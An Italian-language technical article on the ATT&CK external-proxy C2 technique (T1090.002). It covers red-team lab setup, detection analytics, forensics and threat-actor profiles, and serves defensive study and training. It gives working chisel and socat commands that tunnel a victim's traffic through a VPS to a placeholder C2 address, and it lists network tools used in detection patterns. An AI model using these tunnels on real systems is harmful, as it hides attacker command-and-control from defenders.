Proxy Esterno per il C2: External Proxy (T1090.002)

Per simulare un'infrastruttura C2 con proxy esterno in laboratorio servono almeno tre nodi: la macchina vittima, un VPS che funge da proxy e il server C2. L'obiettivo è dimostrare al cliente che il traffico verso il proxy appare innocuo, mentre il C2 reale resta invisibile ai log perimetrali.

Chisel (open source) è lo strumento più versatile per questo scenario. Si tratta di un tunnel HTTP/SOCKS5 scritto in Go, compilabile in un singolo binario senza dipendenze. Sul VPS-proxy si lancia il server:

chisel server --port 8080 --reverse

Sulla macchina vittima, il client stabilisce un tunnel SOCKS5 inverso che transita dal proxy:

chisel client <IP-VPS-PROXY>:8080 R:1080:socks

A questo punto qualsiasi tool C2 configurato per usare un proxy SOCKS5 su localhost:1080 del VPS instraderà il traffico attraverso il nodo intermedio. Mythic (open source), il framework C2 già documentato come software associato a questa tecnica, supporta nativamente un proxy SOCKS5 modificato per tunnelizzare il traffico egress — la configurazione si gestisce direttamente dal profilo dell'agente.

Su Linux, un approccio più minimale sfrutta socat (open source) come port redirector sul nodo proxy:

socat TCP-LISTEN:443,fork TCP:<IP-C2-REALE>:443

Tutto il traffico HTTPS ricevuto dal proxy sulla porta 443 viene inoltrato trasparentemente al C2. Per il difensore, l'unica destinazione visibile nei log è l'IP del proxy.

Per scenari che replicano l'uso di HTRAN — lo strumento citato da GALLIUM — il tool è disponibile come sorgente C compilabile. La sua funzione è identica: riceve connessioni su una porta e le reindirizza verso un'altra destinazione. In laboratorio, ligolo-ng (open source) offre un'alternativa moderna con interfaccia TUN, tunneling automatico e nessuna necessità di SOCKS:

ligolo-ng --tun --selfcert

Per la validazione, la catena d'attacco prevede di verificare con Wireshark (open source) che dal segmento della vittima non sia mai visibile l'IP del C2 reale. Solo l'IP del proxy deve comparire nelle catture. Un secondo controllo utile è eseguire un'analisi Netflow per confermare che i pattern di traffico tra vittima e proxy siano distinguibili da navigazione legittima — se lo sono, il red team ha margine per migliorare la simulazione.

Il traffico verso un proxy esterno, per definizione, sembra legittimo. Il sistema vittima comunica con un IP su Internet — potrebbe essere un CDN, un servizio cloud, qualsiasi cosa. La detection non può basarsi sulla destinazione in sé, ma sul comportamento della connessione e sul contesto del processo che la genera.

La prima log source da presidiare è Sysmon (EventID 3 — Network Connection) su Windows. L'analytic AN0922 è chiara: processi come rundll32, mshta, wscript o payload custom che iniziano connessioni verso IP esterni su porte non standard rappresentano il segnale primario. La regola di correlazione deve incrociare tre dimensioni:

• Processo sorgente: parent process sospetto (script interpreter, LOLBin)
• Destinazione: ASN associato a hosting provider economici (DigitalOcean, OVH, Hetzner)
• Entropia del payload: connessioni HTTP/S con alta randomness nei dati trasmessi

Il tuning è critico. Un alert su ogni connessione verso OVH produrrebbe migliaia di falsi positivi. L'approccio efficace è costruire una baseline degli ASN contattati per ogni segmento di rete e generare alert solo sulle deviazioni, pesate per la reputazione del processo chiamante.

Su Linux (AN0923), il focus si sposta su curl, wget, ncat, socat e binari custom eseguiti da utenti di servizio come www-data o apache. Il log auditd con la syscall connect cattura ogni connessione in uscita, ma va filtrato pesantemente. La regola più efficace combina l'utente inatteso con una destinazione mai vista nei 30 giorni precedenti.

Per gli ambienti macOS (AN0924), i Unified Log catturano le connessioni originate da LaunchAgents e LaunchDaemons — il meccanismo di persistenza più comune. Un agent che lancia ssh o nc verso un IP esterno su porta non standard è un indicatore ad alta fedeltà.

Sul fronte network (AN0926), i firewall audit log e i dati Netflow rivelano pattern caratteristici: flussi persistenti verso un singolo IP con pochi pacchetti di ritorno, modifiche non autorizzate a regole NAT o port forwarding, e spike improvvisi di connessioni verso ASN categorizzati come anonymous hosting o nodi TOR exit. La correlazione tra il cambio di configurazione e l'utente che lo ha effettuato è un alert a priorità massima.

Per ESXi (AN0925), la shell dell'hypervisor non dovrebbe mai generare connessioni verso Internet. Qualsiasi traffico outbound da esxi:shell verso IP esterni è anomalo per default e merita un alert senza soglia di tuning.

L'analisi forense di un proxy esterno si gioca su due piani: gli artefatti endpoint che documentano la connessione al proxy, e le fonti esterne che permettono di risalire dal proxy all'infrastruttura C2 reale.

Sul Windows endpoint, la ricostruzione parte dai log Sysmon. L'EventID 3 (Network Connection) registra processo, IP di destinazione, porta e protocollo per ogni connessione uscente. Se il proxy operava su HTTPS (porta 443), il volume rende necessario filtrare per processo: qualsiasi connessione da rundll32.exe, regsvr32.exe o un eseguibile in percorso anomalo (temp, appdata, public) verso un IP di hosting provider è un candidato forte. L'EventID 1 (Process Creation) completa il quadro con la command line del processo, rivelando eventuali parametri di proxy — stringhe come socks5, connect, o indirizzi IP hardcoded.

Il registro ShimCache (AppCompatCache) e i file Prefetch confermano l'esecuzione di tool proxy anche se i log Sysmon non erano attivi al momento dell'intrusione. Per binari come HTRAN o tool custom, la presenza nel Prefetch con timestamp di prima e ultima esecuzione delimita la finestra operativa dell'attaccante.

Su Linux, il log auditd con la syscall connect è l'equivalente di Sysmon EventID 3. I file in /tmp, /dev/shm o /var/run che corrispondono a binari statici (Go, C compilato) meritano attenzione — tool come Chisel o socat vengono spesso droppati in queste directory. La cronologia bash (~/.bash_history o equivalente) può contenere la command line di configurazione del tunnel, a meno che l'attaccante non l'abbia cancellata.

Per risalire dal proxy al C2, le fonti OSINT sono fondamentali. I servizi di passive DNS mostrano quali domini hanno risolto verso l'IP del proxy e quando. I database WHOIS storici rivelano chi ha registrato il VPS e con quali dati. Per la campagna Quad7 Activity (C0055), i dispositivi SOHO compromessi esponevano porte caratteristiche — TCP 7777 con banner xlogin e TCP 63256 con banner alogin — che i servizi di scansione Internet come Shodan e Censys hanno indicizzato, permettendo di mappare l'intera infrastruttura proxy.

La timeline deve evidenziare la correlazione temporale: prima esecuzione del binario proxy (Prefetch/ShimCache), prima connessione verso l'IP esterno (Sysmon/auditd), e attività laterali successive. Il delta tra questi eventi rivela la velocità operativa dell'attaccante e il grado di automazione del deployment.

L'uso di proxy esterni è trasversale a gruppi con obiettivi, capacità e geografie molto diverse. Proprio questa trasversalità rende l'analisi dei pattern operativi particolarmente utile per l'attribuzione.

APT28 (G0007) utilizza i proxy in modo opportunistico e sofisticato: ha sfruttato un server email militare georgiano compromesso come hop point verso obiettivi NATO, e impiega tool dedicati che garantiscono connettività C2 anche quando la vittima è dietro NAT. Il suo malware CHOPSTICK viene instradato attraverso macchine relay che oscurano la comunicazione — un modello a catena che moltiplica i layer da investigare.

APT29 (G0016) adotta un approccio distinto: preferisce endpoint residenziali compromessi come proxy, sfruttando la reputazione benigna degli IP domestici per evadere i filtri basati su ASN e geolocalizzazione. Questo pattern è coerente con l'operatività del gruppo, che privilegia la stealth a lungo termine rispetto alla velocità.

Lazarus Group (G0032) impiega proxy multipli in catena, creando un'infrastruttura di offuscamento a più livelli. Questo approccio riflette la necessità del gruppo di proteggere l'attribuzione geografica, data la specificità del mandante. MuddyWater (G0069) utilizza sia reti proxy dedicate per controllare POWERSTATS (S0223), sia catene di siti web compromessi che le vittime contattano in modo randomizzato — una tecnica di dead-drop resolver ibrida che distribuisce il traffico C2 su più nodi apparentemente legittimi.

La campagna Quad7 Activity (C0055) rappresenta l'evoluzione infrastrutturale: una botnet di router SOHO (inizialmente TP-Link, poi estesa ad Asus) che funziona come pool di IP egress per attori affiliati alla Cina, incluso Storm-0940. L'inizializzazione di proxy SOCKS5 sui dispositivi compromessi trasforma ogni router in un relay riutilizzabile per operazioni diverse — dal password spraying all'esfiltrazione.

I pattern geografici sono leggibili: gruppi est-europei (APT28, APT29) preferiscono compromettere infrastrutture vicine ai target per ridurre la latenza e mimetizzarsi nel traffico regionale. Gruppi asiatici (Lazarus, Tonto Team, menuPass) tendono a utilizzare service provider globali o IP di grandi provider come ponte, come nel caso di menuPass (G0045) che ha usato l'IP di un fornitore di servizi globale come proxy C2. GALLIUM (G0093) si distingue per l'uso di una versione modificata di HTRAN, il redirector classico, confermando che tool datati ma affidabili restano nel toolkit quando funzionano.

Per la previsione: la tendenza è verso proxy residenziali e dispositivi IoT/SOHO, che offrono reputazione IP elevata e scarsa visibilità forense. I gruppi che investono in queste infrastrutture — come dimostrato da Quad7 — dispongono di pool proxy rinnovabili e difficili da smantellare.

Framework MITRE ATT&CK: T1090.002, TA0011, C0055 (Quad7 Activity), M1031. Gruppi: G0087, G0007, G0053, G0131, G0032, G0045, G0022, G0091, G0093, G0016, G0069. Software: S1084, S0444, S0650, S0699, S0141, S0019, S0223, S0439, S0266, S0260. Detection: Sysmon, auditd, NSM flow, firewall audit log. Integrato con conoscenza professionale per tool e procedure operative.